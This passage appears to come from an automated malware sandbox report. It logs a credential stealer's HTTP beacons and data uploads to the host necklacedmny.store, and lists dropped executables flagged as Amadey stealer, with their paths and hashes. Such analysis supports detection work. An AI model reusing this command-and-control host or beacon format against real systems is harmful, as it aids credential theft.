cfL4;desc="?proto=TCP&rtt=1273&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19132&delivery_rate=2220858&cwnd=251&unsent_bytes=0&cid=d6bca6cc5f317058&ts=587&x=0"
2024-11-01 09:58:17 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:58:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	50118	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:58:18 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-11-01 09:58:18 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:58:18 UTC	1029	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:58:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=39l1h1tf0kpb19l8a64tcs7hss; expires=Tue, 25-Feb-2025 03:44:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xva%2FK3r6pW%2BjED5zn%2B9JQC8FmBXhRbDtCQkDYbAE%2FDfGFA6Conjc1WFfvydO8L3lhyw88CPWJPDks%2FBsOCP%2B9P%2FeIPsT6v%2Ba%2FpU%2BMuRMAD9HHdWLr0UX4duhqOwECmqsoAOyQWQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb068deffd6bf8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1808&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9730&delivery_rate=1571351&cwnd=251&unsent_bytes=0&cid=d35e03192ad9ff77&ts=504&x=0"
2024-11-01 09:58:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:58:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	50119	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:58:19 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-11-01 09:58:19 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:58:19 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-11-01 09:58:20 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:58:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u7l4fjokt304c2vj64uj6qi7lo; expires=Tue, 25-Feb-2025 03:44:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8N%2FiJjXafPBS%2Fh85JD%2FTqghDaO11%2Ba7PaurMXX0p5bGEoyUDfUlfa33l7T68wTiQ%2FfEazIod7qaJDEuWEDB8IU4JPqYAFotY3UCyoUj8NFlB5w%2F5ljFggtgOORZu7d2Z1qYZsoQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb06955e312e24-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1063&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21406&delivery_rate=2714151&cwnd=251&unsent_bytes=0&cid=f8b0012354ea115e&ts=699&x=0"
2024-11-01 09:58:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:58:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	50122	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:58:21 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1287 Host: necklacedmny.store
2024-11-01 09:58:21 UTC	1287	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:58:21 UTC	1014	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:58:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o0ctpqnbf9280igpp91qo8b19t; expires=Tue, 25-Feb-2025 03:45:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AR5wlpE4HeV8rKg3d7f%2FhoylC67eR8i3jyOx6niA4E2yyVFZ5QkalbM19kv4WZzx6SkBkh5EUncm9hvNZ0DhGEc7ID5Fc1D6KiI%2FahfixDbqnCeYEsyxJCmfXsZZenb%2FnBH4A2U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb069dd9d24754-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1728&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2206&delivery_rate=1624228&cwnd=247&unsent_bytes=0&cid=ed868c907633555e&ts=694&x=0"
2024-11-01 09:58:21 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:58:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	50125	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:58:23 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 48449 Host: necklacedmny.store
2024-11-01 09:58:23 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:58:23 UTC	15331	OUT	Data Raw: f5 c5 30 93 f1 6d 93 1d 21 d5 bf de 0f 94 34 8e 2e 09 6e c4 22 51 dd dc d8 46 6c 8a 48 ea d7 08 78 b5 64 b9 5b 3c cc 03 50 f1 93 b6 74 04 ee 71 e1 28 83 58 78 b1 78 53 d3 d7 2b 4f ee 95 c4 0b 01 67 24 cd 13 0f 92 3b b5 02 f3 e1 01 63 1b 17 9a d9 e2 54 9e 35 c1 ca 03 d3 97 78 55 97 d3 09 d3 8d 3c 60 05 bb c5 9d 37 10 30 c7 43 12 f7 e0 93 da 8b 68 a4 ec c9 fe c9 af 1e 68 c2 0d 98 ca 6f 83 95 4f 6a 6f ab 97 21 10 74 c9 f1 44 5c 2a ed eb 4c 88 ef 48 fb b3 fd d8 70 f2 f0 fc eb 22 ca f8 45 4d 2e ef a5 06 01 da 9d eb c0 3e 8f b7 bb 48 bb 89 3f 57 e0 d8 47 fb a3 e3 41 cd d1 46 c5 8f 3f 30 8f d7 51 66 27 7b 67 ef 2a 5b 4e 83 61 95 e2 f5 c8 13 3d 24 be df 9d 0b 38 e9 af 96 8f 37 b9 90 78 83 af cf f2 1c e0 91 20 1f a2 ab 56 21 3d cd da bc dc 24 6e 6f 51 9a 1e b9 d0 Data Ascii: 0m!4.n"QFlHxd[<Ptq(XxxS+Og$;cT5xU<`70ChhoOjo!tD\LHp"EM.>H?WGAF?0Qf'{g[Na=$87x V!=$noQ
2024-11-01 09:58:23 UTC	15331	OUT	Data Raw: b6 0b 05 bf 86 0e 0f 08 57 7e bc d9 3a b7 d4 3f 81 0c 58 7c b3 a0 be 19 e1 56 bf 99 2b 1b 48 28 45 e6 2b 3c 0c a8 b4 4b b4 28 5a 2d a0 f8 f7 67 70 01 15 fb 4f 9f 3e 1d 70 5f f0 eb a8 4b fc fe 0e d0 7a c9 8a 1d 4d fc 2f 7c c5 75 e4 79 86 76 d0 9f fc fa 10 7f 9d 2a f0 74 92 0c 30 75 08 31 c7 96 24 94 76 5f ef 51 a2 14 90 b2 ae fc fc 1c 10 88 59 c2 b4 d9 f2 58 d5 d4 da 91 2e 0c e5 09 ba bc 27 d0 af bd 0f 81 5c fe 34 9e 8e b2 84 74 63 0b 95 e7 cc e7 8d a4 48 f7 e0 e2 95 0e e5 e3 e9 16 59 f8 b9 a5 5f 92 1d 81 ec 85 95 86 9f 06 39 ba 0f 5a dc ec 50 1b 45 f3 02 9c dd 87 42 99 18 26 dd a4 e9 b4 43 1d ed 1f d0 3a 49 f2 2e 8f c6 1b 82 c9 cc eb 97 48 92 73 0d 65 e3 6e cd 61 ec c7 04 59 77 55 42 8c 3e 3b 0f 74 71 5c 84 b0 b8 76 e3 0e e5 00 a3 6e 87 11 ee 55 18 f7 5f Data Ascii: W~:?X\|V+H(E+<K(Z-gpO>p_KzM/\|uyv*t0u1$v_QYX.'\4tcHY_9ZPEB&C:I.HsenaYwUB>;tq\vnU_
2024-11-01 09:58:23 UTC	2456	OUT	Data Raw: e7 e6 3b 44 78 d2 79 87 f1 4e c3 4e 0a 6f 79 94 e5 a0 46 8e 34 f3 a4 54 9f 8f 67 0e 20 fa cb 9a c3 39 23 77 24 09 9f ef d3 62 b9 a8 3e e3 9e b6 b5 f1 eb ea 4f 6d 4d 53 75 49 ca 40 ba 2c ba 37 7d 01 ef 4a fb 58 4e c4 8e 76 8c 2a 2c 9d 24 96 78 21 e9 8b 36 50 db 6a 7b 98 e1 43 2c ae 96 90 b5 dd ab 29 59 b0 ee eb b2 a0 6f 9e 8a 24 53 d0 e9 45 d9 e1 e9 c8 8c 68 d8 f5 f2 9f 82 8f ec 61 d9 e4 fe 01 b7 9d c5 85 3a d8 68 eb f6 ac b5 64 01 39 92 e9 f9 de 19 57 79 b3 9c 34 62 4f 38 13 d6 be cd 50 df ee 2b 02 1d 49 57 fd 1b 8a 4f b7 10 16 a4 55 0f fb cc d4 d8 86 c9 a9 52 22 34 2b 97 ac 3f 8d 60 37 0f 8a a9 2c db 2c 7c 2d ff 38 9e 6b e0 92 fa 48 f0 09 0d ad 6d a9 28 b8 d1 3b 1e 59 68 33 6a bd 99 b0 f1 a8 ce e1 bb 4e c1 56 fd 97 ed 6d ae 82 7d 0d b4 20 22 0a 59 4d 1e Data Ascii: ;DxyNNoyF4Tg 9#w$b>OmMSuI@,7}JXNv*,$x!6Pj{C,)Yo$SEha:hd9Wy4bO8P+IWOUR"4+?`7,,\|-8kHm(;Yh3jNVm} "YM
2024-11-01 09:58:23 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:58:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d1jq46urttfvk3ik84kds57frv; expires=Tue, 25-Feb-2025 03:45:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tuvu9OWX%2BgmezxIw4MuavYwM3gULzH2fPaf2BH5jewe91Sk5MW7CpuaB0U76dmhiY8aQbeyLZGlJ0NxmtoDPTFj3jrg2xEXyaMdj%2Fa3%2FjvVUavFMewY3s6yuPIpzuJ1k24fkXJ8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb06aa3c4e2d41-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1579&sent=23&recv=57&lost=0&retrans=0&sent_bytes=2846&recv_bytes=49501&delivery_rate=1789864&cwnd=251&unsent_bytes=0&cid=80f6b27765889bb0&ts=905&x=0"
2024-11-01 09:58:23 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:58:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	50126	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:58:24 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 09:58:24 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=420C14F6ADC7B7B7126FF666671B0391
2024-11-01 09:58:25 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:58:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m9d0dmh7t6oepn4c1fq0tefonb; expires=Tue, 25-Feb-2025 03:45:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j8qrll76wkKBghdrfzEgjZLuOsFuQEtx%2FCX%2FdjX4FpxSkNg9%2BP8XycCqsWagpLS3oWgxzluEm%2BohZd66VpF4KdwMjk2EM2ho%2BIPwkJyD6R7HrWpOt7lwH2NruOH31LC2MbR8ImQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb06b3cc6e03ed-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1390&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=2100072&cwnd=236&unsent_bytes=0&cid=17b5bebd5e448c28&ts=675&x=0"
2024-11-01 09:58:25 UTC	214	IN	Data Raw: 64 30 0d 0a 50 48 5a 39 6d 41 2f 35 6e 78 76 65 5a 77 48 31 54 66 36 6d 6f 6e 2b 6e 77 66 65 47 51 4c 43 37 55 56 75 49 53 6b 41 76 32 6d 68 6e 44 56 2f 74 4c 63 4f 39 63 36 6f 54 63 63 38 52 30 66 71 4e 54 70 2f 30 32 62 52 78 68 5a 56 67 61 72 74 6b 63 52 6d 47 52 31 4d 51 47 38 51 67 6e 66 70 39 38 41 4a 35 6b 47 2f 53 68 4d 51 4c 68 66 76 48 71 6d 4c 56 6d 57 74 72 39 57 59 37 44 61 39 4b 42 6c 51 56 37 48 75 4a 70 55 66 78 4f 79 37 45 64 63 75 49 6b 45 36 53 37 38 61 33 63 35 36 4b 5a 77 65 6e 4a 79 6c 42 76 7a 51 54 42 42 7a 32 61 35 62 79 4e 62 73 66 5a 4e 64 68 33 4d 44 57 58 5a 33 78 32 36 51 6c 6b 6f 46 68 4a 74 55 3d 0d 0a Data Ascii: d0PHZ9mA/5nxveZwH1Tf6mon+nwfeGQLC7UVuISkAv2mhnDV/tLcO9c6oTcc8R0fqNTp/02bRxhZVgartkcRmGR1MQG8Qgnfp98AJ5kG/ShMQLhfvHqmLVmWtr9WY7Da9KBlQV7HuJpUfxOy7EdcuIkE6S78a3c56KZwenJylBvzQTBBz2a5byNbsfZNdh3MDWXZ3x26QlkoFhJtU=
2024-11-01 09:58:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	05:55:52
Start date:	01/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xf80000
File size:	2'900'480 bytes
MD5 hash:	2422D51ED6D21DF3CE5591F3B0A03125
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1695973685.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1682695202.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1682378325.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1724503778.00000000007F5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1728050949.00000000007FF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1710137219.00000000007EF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1682138495.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1682087443.00000000007EF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1696023139.00000000007F6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1724342554.00000000007F1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1696327370.00000000007F6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:56:11
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe"
Imagebase:	0xa50000
File size:	2'712'064 bytes
MD5 hash:	1AF38DAD1105E9914199EA0FF2832F33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:56:12
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe"
Imagebase:	0x390000
File size:	1'852'416 bytes
MD5 hash:	025ADBE1C02028C4282272BF62A18A02
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.1900844822.0000000000391000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.1860646756.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:56:14
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xee0000
File size:	1'852'416 bytes
MD5 hash:	025ADBE1C02028C4282272BF62A18A02
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.1876760920.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.1917446000.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:57:00
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
